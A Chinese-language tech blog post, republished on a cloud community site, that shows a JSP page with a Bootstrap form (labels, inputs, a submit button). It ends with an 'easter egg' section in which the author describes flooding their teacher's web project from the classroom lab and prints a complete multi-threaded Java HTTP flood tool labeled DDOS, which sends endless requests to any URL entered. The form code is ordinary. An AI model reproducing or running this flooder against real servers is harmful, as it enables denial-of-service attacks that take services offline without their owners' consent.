前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >label、input、button的用法(结尾有彩蛋)

label、input、button的用法(结尾有彩蛋)

作者头像
mathor
发布2018-09-19 15:24:59
1.1K0
发布2018-09-19 15:24:59
举报
文章被收录于专栏:mathormathormathor

 先引入bootstrap,为了防止每个网页都引入,单独把引入bootstrap写成一个网页,然后在其他网页中用jsp:include动态包含

<!-- res.jsp -->
<%@ page language="java" import="java.util.*" pageEncoding="UTF-8"%>
<%
String path = request.getContextPath();
String basePath = request.getScheme()+"://"+request.getServerName()+":"+request.getServerPort()+path+"/";
%>
<link rel = "stylesheet" type = "text/css" 
      href = "ReSources/bootstrap/css/bootstrap.min.css">

 然后写input.jsp页面,注意第19行动态包含了res.jsp页面

<%@ page language="java" import="java.util.*" pageEncoding="UTF-8"%>
<%
String path = request.getContextPath();
String basePath = request.getScheme()+"://"+request.getServerName()+":"+request.getServerPort()+path+"/";
%>

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
  <head>
    <base href="<%=basePath%>">
    
    <title>My JSP 'input.jsp' starting page</title>
    
    <meta http-equiv="pragma" content="no-cache">
    <meta http-equiv="cache-control" content="no-cache">
    <meta http-equiv="expires" content="0">    
    <meta http-equiv="keywords" content="keyword1,keyword2,keyword3">
    <meta http-equiv="description" content="This is my page">
    <jsp:include page = "../res.jsp"/>
  </head>
  
  <body class = "container">
    <div>
        <h3 class = "page-header">request.getPramater()的用法</h3>
        <form action = "" class = "form-horizontal">
            <div class = "form-group">
                <label class = "col-md-3 control-label">学号:</label>
                <div class = "col-md-5">
                    <input type = "text" class = "form-control" placeholder="123456">
                </div>
            </div>
            <div class = "form-group">
                <label class = "col-md-3 control-label">姓名:</label>
                <div class = "col-md-5">
                    <input type = "text" class = "form-control" placeholder="张三">
                </div>
            </div>
            <div class = "form-group">
                <div class = "col-md-offset-3 col-md-5">
                    <button type = "submit" class = "btn btn-primary">提交</button>
                </div>
            </div>
        </form>
    </div>
  </body>
</html>
彩蛋

 其实上面的内容都不重要,老师在机房给我们上课的时候,我试了一下访问老师的jsp项目,居然成功了,我突然想到一个点子,利用java起很多线程去访问老师的web项目模拟DDOS,结果不出意料的成功了,先附上代码,下面讲解一下这个代码

import java.io.*;
import java.net.*;
import java.util.Scanner;

public class DDOS implements Runnable {
    private static String strUrl = null;
    private static long numL = 0L;
    private static Scanner scanner = new Scanner(System.in);

    public void run() {
        HttpURLConnection connection = null;
        InputStream urlStream = null;
        URL url = null;
        while (true)
            try {
                url = new URL(strUrl + numL);
                connection = (HttpURLConnection) url.openConnection();
                connection.connect();
                urlStream = connection.getInputStream();
                if (urlStream != null) {
                    numL += 1L;
                    urlStream.close();
                    System.out.print("\t" + numL);
                    if (numL % 30L == 0L)
                        System.out.println();
                }
                Thread.sleep(10L);
            } catch (InterruptedException e) {
                while (true) {
                    e.getMessage();
                    try {
                        Thread.sleep(1000L);
                    } catch (InterruptedException ie) {
                        ie.printStackTrace();
                    }
                }
            } catch (MalformedURLException e) {
                e.printStackTrace();
            } catch (IOException e) {
                e.printStackTrace();
            }
    }

    public static void main(String[] args) throws MalformedURLException {
        System.out.println("");
        int threadNum;
        while (true) {
            System.out.println("线程数:");
            threadNum = scanner.nextInt();
            System.out.println("网址:");
            String str = scanner.next();
            strUrl = str;
            if (str.indexOf("?") >= 0)
                strUrl += "&num=";
            else
                strUrl += "?num=";
            System.out.println("--------------------------------------");
            System.out.println("线程数:" + threadNum);
            System.out.println("地址:" + str);
            System.out.println("请再次确认(Y/N):");
            String tmp = scanner.next();
            if ("Y".equalsIgnoreCase(tmp))
                break;
            if ("N".equalsIgnoreCase(tmp))
                continue;
            System.out.println("输入错误,请重新输入(Y/N):");
        }
        for (int i = 0; i < threadNum; ++i) {
            DDOS at = new DDOS();
            Thread t = new Thread(at);
            t.start();
        }
    }
}
本文参与 腾讯云自媒体分享计划,分享自作者个人站点/博客。
原始发表:2018-09-16,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 彩蛋
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档